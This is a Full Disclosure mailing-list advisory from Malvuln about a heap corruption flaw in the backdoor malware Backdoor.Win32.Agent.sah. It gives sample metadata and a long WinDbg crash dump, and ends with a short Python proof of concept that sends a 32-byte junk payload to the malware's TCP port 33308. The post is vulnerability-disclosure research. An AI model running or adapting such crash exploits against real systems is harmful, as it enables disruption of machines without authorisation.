Date: Mon, 1 Nov 2021 00:06:33 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.sah / Heap Corruption

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/3ee7a90b5fc3f2b7ba68911e8220df17.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.sah
Vulnerability: Heap Corruption
Description: The malware listens on TCP port 33308. Third-party attackers
who can reach infected systems can send a 32 byte junk payload causing a
heap corruption overwriting the ECX register.
Type: PE32
MD5: 3ee7a90b5fc3f2b7ba68911e8220df17
Vuln ID: MVID-2021-0386
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 11/01/2021

Memory Dump:
(248.13b0): Unknown exception - code c0000017 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414148 edx=00000053 esi=00000003
edi=00000003
eip=7709ed3c esp=046bf26c ebp=046bf3fc iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7709ed3c c21400          ret     14h

0:004> .ecxr
eax=046bfba8 ebx=046bfc40 ecx=41414148 edx=00000053 esi=0029b000
edi=00000000
eip=77103c59 esp=046bfba8 ebp=046bfc00 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000246
ntdll!RtlpAllocateHeapRaiseException+0x3b:
77103c59 8b4dfc          mov     ecx,dword ptr [ebp-4]
ss:002b:046bfbfc=fdfa2f2d

0:004> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

FAULTING_IP:
ntdll!RtlpAllocateHeapRaiseException+3b
77103c59 8b4dfc          mov     ecx,dword ptr [ebp-4]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77103c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b)
   ExceptionCode: c0000017
  ExceptionFlags: 00000000
NumberParameters: 1
   Parameter[0]: 41414148

DEFAULT_BUCKET_ID:  HEAP_CORRUPTION

PROCESS_NAME:  Backdoor.Win32.Agent.sah.3ee7a90b5fc3f2b7ba68911e8220df17.exe

ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota}  Not enough virtual
memory or paging file quota is available to complete the specified
operation.

EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota}  Not enough
virtual memory or paging file quota is available to complete the specified
operation.

EXCEPTION_PARAMETER1:  41414148

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

ADDITIONAL_DEBUG_TEXT:  Enable Pageheap/AutoVerifer

FAULTING_THREAD:  000013b0

PRIMARY_PROBLEM_CLASS:  HEAP_CORRUPTION

BUGCHECK_STR:  APPLICATION_FAULT_HEAP_CORRUPTION

LAST_CONTROL_TRANSFER:  from 7707173a to 77103c59

STACK_TEXT:
046bfc00 7707173a 13145b00 02450000 00030988
ntdll!RtlpAllocateHeapRaiseException+0x3b
046bfc40 770713ee 0000000c 00000000 13145b00
ntdll!RtlpAllocateHeapInternal+0x33a
046bfc5c 13142094 02450000 0000000c 41414140 ntdll!RtlAllocateHeap+0x3e
WARNING: Stack unwind information not available. Following frames may be
wrong.
046bfc74 1314214c 41414140 046bfca0 131427f2
Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x2094
046bfc80 131427f2 41414140 00000008 0246d000
Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x214c
046bfca0 13145c3e 41414140 0246cfe0 00000000
Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x27f2
046bff80 73df8654 0246cfe0 73df8630 4a421bc1
Backdoor_Win32_Agent_sah_3ee7a90b5fc3f2b7ba68911e8220df17+0x5c3e
046bff94 77094a77 0246cfe0 fdfa2cf1 00000000
kernel32!BaseThreadInitThunk+0x24
046bffdc 77094a47 ffffffff 770b9ea9 00000000 ntdll!__RtlUserThreadStart+0x2f
046bffec 00000000 13145b00 0246cfe0 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  ~4s; .ecxr ; kb

SYMBOL_NAME:  heap_corruption!heap_corruption

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: heap_corruption

IMAGE_NAME:  heap_corruption

DEBUG_FLR_IMAGE_TIMESTAMP:  0

FAILURE_BUCKET_ID:  HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption

BUCKET_ID:
 APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption

Followup: MachineOwner


Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=33308

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PAYLOAD="A"*32
    s.send(PAYLOAD)
    s.close()

    print("Backdoor.Win32.Agent.sah / Heap Corruption")
    print("MD5: 3ee7a90b5fc3f2b7ba68911e8220df17")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists